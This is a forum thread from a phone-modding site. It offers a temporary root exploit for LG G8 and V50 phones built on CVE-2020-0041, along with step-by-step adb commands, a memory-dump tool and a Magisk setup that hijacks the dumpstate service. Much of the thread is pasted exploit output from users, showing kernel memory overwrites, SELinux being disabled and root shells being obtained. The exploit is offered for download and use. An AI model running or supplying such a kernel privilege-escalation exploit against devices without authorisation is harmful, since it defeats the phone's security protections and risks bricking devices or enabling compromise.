[LG G8] temp root exploit via CVE-2020-0041 including magisk setup - LG G8 ROMs, Kernels, Recoveries, & Other Developme

temp root exploit for LG G8 ThinQ with android 10 firmware
including temporal magisk setup from the exploit​
The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
I have adapted the Pixel 3 specific exploit for kernel 4.14 that is used with LG phones running Android 10 with March security patch level.
This work has been done upon request of @Inerent who contributed not only with very fine donations, but also did all the testing on his LG phone, as I do not own any LG phone myself.
As an addon I have implemented setup of magisk v20.4 from temp root exploit included su permission asking notification support, that has been also a hell of work to get working.
SUPPORTED TARGETS
You can find currently running fw version with 'getprop ro.vendor.lge.factoryversion' command run in an adb shell.
LMG820NAT-00-V20j-LAO-COM-FEB-12-2020+0
LMG820NAT-00-V20m-LAO-COM-MAR-18-2020+0
LMG820AT-00-V20a-LAO-COM-DEC-23-2019-ARB00+9
LMG820AT-00-V20b-LAO-COM-JAN-10-2020-ARB00+0
LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2
LMG820AT-00-V20c-LAO-COM-MAR-19-2020-ARB00+0
LMG820AT-00-V20d-LAO-COM-JAN-28-2020-ARB00+0
LMG820AT-00-V20a-LAO-COM-NOV-25-2019-ARB00+0 - Sprint G8 Android 10 beta November 2019 security patch (special treat for @antintin)
LMG820AT-00-V20d-LAO-COM-DEC-17-2019-ARB00+1 - Sprint G8 fw 20d
LMG820AT-00-V20d-LAO-COM-JAN-29-2020-ARB00+0 - T-Mobile US G8 January 2020 security patch
LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0 - Sprint G8 fw 20e February 2020 patch
LMG820AT-00-V20a-LAO-COM-JAN-09-2020-ARB00+5 - Verizon G8 fw 20a
LMG820AT-00-V20i-LAO-COM-JAN-07-2020-ARB00+0 - AT&T G8 fw 20i
LMG820AT-00-V20j-LAO-COM-FEB-04-2020-ARB00+0 - AT&T G8 G820UM fw 20j
LMG820AT-00-V21b-LAO-COM-FEB-05-2020-ARB00+1 - Amazon G8 (G820QM821b_01_AMZ_US_OP_0205)
Please note, it is unlikely that any other fw version than those listed above would work.
The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.
USAGE HOWTO
be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
enable developer mode options and in there adb debugging (eventually install adb drivers)
download the v50g8-mroot3.zip with the exploit attached in this post and unzip it
use 'adb push v50g8-mroot3 /data/local/tmp' and get temp root with following commands in 'adb shell':
Code:
cd /data/local/tmp
chmod 755 ./v50g8-mroot3
./v50g8-mroot3
If it worked, you should see something like this:
Code:
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
...
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # getenforce
Permissive
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root) context=kernel
root_by_cve-2020-0041:/data/local/tmp #
In case you get 'target is not supported', you may list supported targets with
Code:
./v50g8-mroot3 -T
and try to force one close to yours using '-t num' option.
Please see the 2nd post for magisk setup from temp root details.
Please be careful what you use the temp root for.
Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot partition, can result with a not anymore booting phone.
In such case you would need a way to emergency flash stock firmware to recover.
This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions until bootloader unlock is achieved.
Some partitions might still be possible to modify - for example in case of sony xperia phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.
SOURCES
Exploit sources for all releases are available at my github here.
CREDITS
Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.
MEMORY DUMP FOR NEW TARGETS
Implemented a tool that dumps kernel space memory to a file with the aim to hopefully be able to analyse it for adding new target support in case it does not have a downloadable firmware.
You can start it similarly as done with v50g8-mroot3, including the '-t num' option.
Use this tool only in case your phone is not supported but it is exploitable (i.e. v50g8-mroot3 does something reasonable /with any '-t num' option/ including crash/reboot of the phone).
When v50g8-mroot3 says "target is not supported", use 'v50g8-mroot3 -T' to list supported targets and then 'v50g8-mroot3 -t num' changing num to each one of listed targets, one by one.
Watch the output log to see which is the most successful (the longest reasonable output if you do not count looping/repeating the same lines).
With this way found the most close target, remember the '-t num' option and use it with v50g8-dump.
The tool hopefully creates /data/local/tmp/memdump.bin file and sleep indefinitely then.
Just open another cmd window and use
Code:
adb pull /data/local/tmp/memdump.bin
to get the file to your PC, compress it to an archive and post it here - it may eventually help to add support for new target which does not have a downloadable fw, like for example Sprint models.
DONATIONS
If you like my work, you can donate using the Donate to Me button with several methods there.
Already donated:
Pow San Liu ($3) rhx lg g8x user
@BrandonB1218 ($10)
@avryabov ($15)
Thank you very much to all who donated or are about to donate.
DOWNLOAD

MAGISK SETUP FROM TEMP ROOT WITH LOCKED BOOTLOADER
To enjoy the temporal root with apps asking for root permission, you can now start magisk v20.4 from the root shell provided by the exploit.
download the v50g8-mroot3.zip with the exploit attached in the first post
download Magisk-v20.4.zip from magisk releases page on github here
use 'adb push v50g8-mroot3.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
unzip and prepare magisk setup with following commands in 'adb shell'
Code:
cd /data/local/tmp
unzip v50g8-mroot3.zip
chmod 755 v50g8-mroot3 magisk-setup.sh magisk-start.sh
./magisk-setup.sh
get temp root and start magisk up with following commands in 'adb shell':
Code:
cd /data/local/tmp
./v50g8-mroot3
./magisk-start.sh -1
./magisk-start.sh -2
./magisk-start.sh -3
just this point should be done after each reboot to get magisk running again.
NOTE: please be sure to enter each command separately, line after line - do not paste all in a single block and do not put them in a script.
There are reasons this is divided in 3 stages. With this approach I got the best stability, while putting ./v50g8-mroot3 together with -1 and/or -2 stuff in a single script run resulted with a reboot most of the time.
Phases 2 and 3 need to be split for functional reasons to start magisk with working su permission asking notification.
If it worked, you should see something like this:
Code:
alphalm:/ $ cd /data/local/tmp
alphalm:/data/local/tmp $ ./v50g8-mroot3
[+] factoryversion = LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd07822fa00
[+] file epitem at ffffffd102da6d00
[+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
[+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9dee01ebf8
[+] kernel base: ffffff9dece80000
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
[+] init_cred: ffffff9def02fcd0
[+] memstart_addr: 0xfffffff040000000
[+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
[+] Second level entry: ae419003 -> next table at ffffffd06e419000
[+] sysctl_table_root = ffffff9def05c710
[+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
[+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffd07822fa20
[+] epitem.prev = ffffffd07822fad8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1
+ FRESH=false
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2
+ FRESH=false
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=2
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ false
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=14148
+ '[' -z 14148 ']'
+ >/sbin/.magisk/escalate
+ echo 14148
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3
+ FRESH=false
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC=''
+ timeout=10
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=14165
+ '[' -n 14165 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
root_by_cve-2020-0041:/data/local/tmp # uname -a
Linux localhost 4.14.117-perf #1 SMP PREEMPT Tue Mar 10 18:44:38 KST 2020 aarch64
root_by_cve-2020-0041:/data/local/tmp # getenforce
Permissive
Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
You can even re-enable selinux like this from 'adb shell':
Code:
su -c 'setenforce 1'
The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.
TIPS FOR BETTER STABILITY OF THE EXPLOIT
The exploit works based on use after free, that means it depends on state of memory heap and how it changes during exploit time.
That means there is some portion of unpredictability and a chance that something else is overwritten than hoped for by shaping the heap.
So to get best results, one should stop anything that could run in background, like:
set airplain mode, turn off wifi and bluetooth so there is no data connection at all
set "Stay awake" to ON while charging (i.e. using adb shell) in developer options
disable auto updates of system and apps
debloat your system so useless apps do not run in background
reboot your phone having all the above
wait two minutes after boot up with phone unlocked, screen on connected to PC via usb cable having 'adb shell' already active (checking with 'uptime' command)
start the exploit
after getting root shell and succesfuly starting magisk, do not forget to properly exit the temp root shell by use of 'exit' command two times, so the 'adb shell' with the exploit is ended with the rest of clean up
CHANGELOG
2020-05-16 : multiple targets supported (v50g8-root)
2020-05-20 : added v50g8-dump tool to dump kernel space memory
2020-05-24 : implemented support for magisk start from the exploit (v50g8-mroot), added support for 4 new G8 targets (3 x Sprint and one T-Mobile US)
2020-06-10 : fixed problem when V50 rebooted/crashed soon after obtaining temp root shell, added support for 3 new G8 targets (Verizon and 2 x AT&T), released as v50g8-mroot2
2020-06-23 : added support for Amazon G8 target and hopefully fixed not getting a root shell problem with mroot2 on G8, released as v50g8-mroot3

j4nn said:
reserved
Click to expand...
Click to collapse
Reserved also

Will LG G8 G820UM Verizon work?

That's what I was wondering if Verizon would work they all look like AT&T
Sent from my alphalm using XDA Labs

This is my result for Sprint G8 February patch overiding with -t 4 "LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2"
It stucks with the line "[*] Reallocating content of 'write8_selinux' with controlled data................."
Edit: Tried it again with the same -t 4 parameter, guess what? I have ROOT! (*) see below.
alphalm:/data/local/tmp $ ./v50g8-root -t 4
./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
.
.
.
sched_setafinnity(): Invalid argument
[+] pipe file: 0xfffffff0aeced700
[*] file epitem at ffffffef820efd00
[*] Reallocating content of 'write8_inode' with controlled data......[DONE]
[+] Overwriting 0xfffffff0aeced720 with 0xffffffef820efd50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff821ca21050
[+] kernel base: ffffff821b480000
[*] init_cred: ffffff821d82e588
[+] memstart_addr: 0xffffffd100000000
[+] First level entry: b43c0003 -> next table at ffffffefb43c0000
[+] Second level entry: dd466003 -> next table at ffffffefdd466000
[+] sysctl_table_root = ffffff821d85b098
[*] Reallocating content of 'write8_sysctl' with controlled data..............[DONE]
[+] Overwriting 0xfffffff0f534b768 with 0xffffffefffacd000...[DONE]
[+] Injected sysctl node!
[*] Reallocating content of 'write8_selinux' with controlled data.................
(*)
alphalm:/data/local/tmp $ ./v50g8-root -t 4
./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
.
.
.
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
[+] pipe file: 0xffffffe2a13e0000
[*] file epitem at ffffffe2cc823800
[*] Reallocating content of 'write8_inode' with controlled data..[DONE]
[+] Overwriting 0xffffffe2a13e0020 with 0xffffffe2cc823850...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff8a59221050
[+] kernel base: ffffff8a57c80000
[*] init_cred: ffffff8a5a02e588
[+] memstart_addr: 0xffffffde40000000
[+] First level entry: 1221a8003 -> next table at ffffffe2e21a8000
[+] Second level entry: 1221a1003 -> next table at ffffffe2e21a1000
[+] sysctl_table_root = ffffff8a5a05b098
[*] Reallocating content of 'write8_sysctl' with controlled data........[DONE]
[+] Overwriting 0xffffffe3b534a468 with 0xffffffe2cf35e000...[DONE]
[+] Injected sysctl node!
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff8a5a7ceffc with 0x0...[DONE]
[*] Node write8_inode, pid 7360, kaddr ffffffe25d899400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 7099, kaddr ffffffe2cc8e6400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7384, kaddr ffffffe33791d380
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffe2a13e0020
[*] epitem.prev = ffffffe2a13e00d0
[*] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp #

This is on my sprint g8 , forced with -t 7, witch is the closes one to my firmware. my log https://pastebin.com/sfgDn8kb
Edit: it seems I did not use -t num closes to my firmware, I don't quit understand witch firmware corresponds to what number.
Edit2:NVM I think I figured it out.
edit3: got Temp root with -t 2 this is my log https://pastebin.com/zUEucCie. software version 20d
firmware LMG820AT-00-V20d-LAO-COM-DEC-17-2019-ARB00+1

Please keep posting your logs from the exploit confirming your target to work.
In case you have an unsupported target, like Sprint for example and you find any '-t num' option eventually working, please be sure to post it here with info about your phone model and carrier. It would be useful for others.
Thanks.

AT&T people running LMG820AT-00-V20j-LAO-COM-FEB-04-2020-ARB00+0, I think we might be out of luck for now. I've tried every single forced target. Here's my log.
C:\adb tools\platform-tools>adb push v50g8-root /data/local/tmp
v50g8-root: 1 file pushed. 1.2 MB/s (42984 bytes in 0.034s)
C:\adb tools\platform-tools>adb shell
alphalm:/ $ cd /data/local/tmp
alphalm:/data/local/tmp $ chmod 755 ./v50g8-root
alphalm:/data/local/tmp $ ./v50g8-root -T
supported targets:
0 : LMG820NAT-00-V20j-LAO-COM-FEB-12-2020+0
1 : LMG820NAT-00-V20m-LAO-COM-MAR-18-2020+0
2 : LMG820AT-00-V20a-LAO-COM-DEC-23-2019-ARB00+9
3 : LMG820AT-00-V20b-LAO-COM-JAN-10-2020-ARB00+0
4 : LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2
5 : LMG820AT-00-V20c-LAO-COM-MAR-19-2020-ARB00+0
6 : LMG820AT-00-V20d-LAO-COM-JAN-28-2020-ARB00+0
7 : LMV500AT-00-V20a-LAO-COM-JAN-24-2020+0
8 : LMV500AT-00-V20e-LAO-COM-JAN-23-2020+0
9 : LMV500AT-00-V20g-LAO-COM-MAR-10-2020+0
10 : LMV500NAT-00-V20b-LAO-COM-DEC-23-2019+0
11 : LMV500NAT-00-V20f-LAO-COM-JAN-31-2020+0
12 : LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0
alphalm:/data/local/tmp $ ./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20j-LAO-COM-FEB-04-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
..............
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
[+] pipe file: 0xffffffc7da0f0200
[*] file epitem at ffffffc810e0e700
[*] Reallocating content of 'write8_inode' with controlled data....[DONE]
[+] Overwriting 0xffffffc7da0f0220 with 0xffffffc810e0e750...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff9d68421050
[+] kernel base: ffffff9d66e80000
[*] init_cred: ffffff9d6922e588
[+] memstart_addr: 0x73253d45505954
[+] First level entry: 14beda003 -> next table at ffffffc4069d46ac
^ Phone reboots after this line. With certain targets it gets stuck at "Reallocating content of 'write8_inode' with controlled data.............," but for the G820 targets it always does what's shown above.
I did a factory reset and followed the steps of disabling network, rebooting, etc to see if it would work. Nothing so far. Any other AT&T G820UM people let me know if you find anything

Now that we got temp root i would like to ask can i make changes to builprop?or it will brick the phone after reboot?i got sprint g8 so theres no kdz for it.
---------- Post added at 11:07 PM ---------- Previous post was at 10:52 PM ----------
Lg g8 sprint 20e temproot
log from powershell
PS C:\adb binaries\adb binaries> adb shell
adb server is out of date. killing...
* daemon started successfully *
alphalm:/ $ cd /data/local/tmp
alphalm:/data/local/tmp $ chmod 755 ./v50g8-root
alphalm:/data/local/tmp $ ./v50g8-root
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
target is not supported.
1|alphalm:/data/local/tmp $ ./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
[+] pipe file: 0xffffffeb21b58900
[*] file epitem at ffffffeb328e1780
[*] Reallocating content of 'write8_inode' with controlled data..[DONE]
[+] Overwriting 0xffffffeb21b58920 with 0xffffffeb328e17d0...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff8e75e21050
[+] kernel base: ffffff8e74880000
[*] init_cred: ffffff8e76c2e588
[+] memstart_addr: 0xffffffd600000000
[+] First level entry: 137d8c003 -> next table at ffffffeb37d8c000
[+] Second level entry: 15c0b4003 -> next table at ffffffeb5c0b4000
[+] sysctl_table_root = ffffff8e76c5b098
[*] Reallocating content of 'write8_sysctl' with controlled data........[DONE]
[+] Overwriting 0xffffffebf534b468 with 0xffffffebc8a14000...[DONE]
[+] Injected sysctl node!
[*] Reallocating content of 'write8_selinux' with controlled data....[DONE]
[+] Overwriting 0xffffff8e773ceffc with 0x0...[DONE]
[*] Node write8_inode, pid 17471, kaddr ffffffeae0c9ec00
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 17342, kaddr ffffffeb20036380
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 17947, kaddr ffffffebcd377400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffeb21b58920
[*] epitem.prev = ffffffeb21b589d0
[*] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp #

brigantti said:
Now that we got temp root i would like to ask can i make changes to builprop?or it will brick the phone after reboot?i got sprint g8 so theres no kdz for it.
---------- Post added at 11:07 PM ---------- Previous post was at 10:52 PM ----------
Lg g8 sprint 20e temproot
log from powershell
PS C:\adb binaries\adb binaries> adb shell
adb server is out of date. killing...
* daemon started successfully *
alphalm:/ $ cd /data/local/tmp
alphalm:/data/local/tmp $ chmod 755 ./v50g8-root
alphalm:/data/local/tmp $ ./v50g8-root
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
target is not supported.
1|alphalm:/data/local/tmp $ ./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
[+] pipe file: 0xffffffeb21b58900
[*] file epitem at ffffffeb328e1780
[*] Reallocating content of 'write8_inode' with controlled data..[DONE]
[+] Overwriting 0xffffffeb21b58920 with 0xffffffeb328e17d0...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff8e75e21050
[+] kernel base: ffffff8e74880000
[*] init_cred: ffffff8e76c2e588
[+] memstart_addr: 0xffffffd600000000
[+] First level entry: 137d8c003 -> next table at ffffffeb37d8c000
[+] Second level entry: 15c0b4003 -> next table at ffffffeb5c0b4000
[+] sysctl_table_root = ffffff8e76c5b098
[*] Reallocating content of 'write8_sysctl' with controlled data........[DONE]
[+] Overwriting 0xffffffebf534b468 with 0xffffffebc8a14000...[DONE]
[+] Injected sysctl node!
[*] Reallocating content of 'write8_selinux' with controlled data....[DONE]
[+] Overwriting 0xffffff8e773ceffc with 0x0...[DONE]
[*] Node write8_inode, pid 17471, kaddr ffffffeae0c9ec00
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 17342, kaddr ffffffeb20036380
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 17947, kaddr ffffffebcd377400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffeb21b58920
[*] epitem.prev = ffffffeb21b589d0
[*] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp #
Click to expand...
Click to collapse
Do not make changes to system parttions untill we have fully working magisk, and bl unlock.

j4nn said:
Please keep posting your logs from the exploit confirming your target to work.
In case you have an unsupported target, like Sprint for example and you find any '-t num' option eventually working, please be sure to post it here with info about your phone model and carrier. It would be useful for others.
Thanks.
Click to expand...
Click to collapse
PS C:\Users\Matt Hinkle\Desktop\adb binaries> cmd
Microsoft Windows [Version 10.0.19041.264]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\Users\Matt Hinkle\Desktop\adb binaries>adb devices
List of devices attached
LMG820UMcd000429 device
C:\Users\Matt Hinkle\Desktop\adb binaries>adb shell
alphalm:/ $ cd data/local/tmp
alphalm:/data/local/tmp $ chmod r77 ./v50g8-root
chmod: bad mode 'r77'
1|alphalm:/data/local/tmp $ chmod 755 ./v50g8-root
alphalm:/data/local/tmp $ ./v50g8-root -t 4
[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'
[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
sched_setafinnity(): Invalid argument
[+] pipe file: 0xffffffe78e7f9700
[*] file epitem at ffffffe7693ca800
[*] Reallocating content of 'write8_inode' with controlled data........[DONE]
[+] Overwriting 0xffffffe78e7f9720 with 0xffffffe7693ca850...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff9698421050
[+] kernel base: ffffff9696e80000
[*] init_cred: ffffff969922e588
[+] memstart_addr: 0xffffffd940000000
[+] First level entry: 14d681003 -> next table at ffffffe80d681000
[+] Second level entry: 1094dd003 -> next table at ffffffe7c94dd000
[+] sysctl_table_root = ffffff969925b098
[*] Reallocating content of 'write8_sysctl' with controlled data..[DONE]
[+] Overwriting 0xffffffe8b534b068 with 0xffffffe7d9b4d000...[DONE]
[+] Injected sysctl node!
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff96999ceffc with 0x0...[DONE]
[*] Node write8_inode, pid 19750, kaddr ffffffe813909480
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 19833, kaddr ffffffe7f55a9c00
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 19783, kaddr ffffffe78bac7c80
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffe78e7f9720
[*] epitem.prev = ffffffe78e7f97d0
[*] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp #
That's what I got on my Sprint G8 February Security patch suing "-t 4". First try.
TEMP ROOOOOT!

j4nn said:
reserved
Click to expand...
Click to collapse
Can you share a method to catch the offset value?
I want to let it work on more G8/V50

